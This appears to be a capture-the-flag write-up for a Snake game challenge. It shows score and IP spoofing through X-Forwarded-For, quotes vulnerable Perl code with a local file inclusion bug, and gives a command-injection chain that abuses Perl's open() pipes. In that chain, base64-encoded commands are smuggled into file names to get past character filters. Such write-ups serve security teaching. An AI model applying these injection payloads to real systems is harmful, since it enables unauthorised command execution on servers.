In this level we are presented with a typical Snake game.

I spent a couple of hours deofuscating the javascript code until I was capable of submitting any score. Nice but useless. I also found out that I could fake the IP associated to the score using the X-Forwarded-For header. That was pretty much it until the CTF was about to finish when I was given the hint: “../”. I could use it to locate a LFI vulnerability that was affecting the index.php?ip parameter so I was capable of reading

Reviewing the code we spot the LFI in line 4:

$login = $session->param('login');
print $req->p('Hello, '.$login.'!');
if ($req->param('ip')) {
    $file = './data/'.MD5($login)."/".$req->param('ip');
    if (-e $file) {
        open FILE, $file;
        $html = '';
        while (<FILE>) {
            $html .= $_;
        print $req->start_table({border=>1});
        print $req->Tr($req->th(['Date', 'Score']));
        print $html;
        print $req->end_table();
        print $req->a({href=>''}, 'Back');
    } else {
        print $req->h1('Error');

But also there is another interesting “feature” if $file exists then it will be opened and since perl open() command in line 6 allow us to inject commands using pipes, we can execute any arbitrary command. Problem is that $file needs to exist so how can we create a random file there? Well, we can use our ability to submit random IPs with X-Forwarded-For:

Now if we go to|pwd| we will get:

Nice! However we cannot create files containing a slash (“/”):

[email protected]:~/test$ perl -e 'open(FILE, ">>", "./"."|pwd|")'
[email protected]:~/test$ perl -e 'open(FILE, ">>", "./"."|ls .|")'
[email protected]:~/test$ perl -e 'open(FILE, ">>", "./"."|ls ..|")'
[email protected]:~/test$ perl -e 'open(FILE, ">>", "./"."|ls /|")'
[email protected]:~/test$ ls
|ls ..|  |ls .|  |pwd|

No backslashes neither:

[email protected]:~/test$ perl -e 'open(FILE, ">>", "./"."|`echo -e '\x6c\x73\x20\x2f'`|")'
[email protected]:~/test$ ls
|`echo -e x6cx73x20x2f`|  |ls ..|  |ls .|  |pwd|

Lets try base64:

[email protected]:~/test$ perl -e 'open(FILE, ">>", "./"."|`echo bHMgLw== | base64 -d`|")'
[email protected]:~/test$ ls
|`echo -e x6cx73x20x2f`|  |`echo bHMgLw== | base64 -d`|  |ls ..|  |ls .|  |pwd|

Cool! lets submit it:

And fetch our recompense: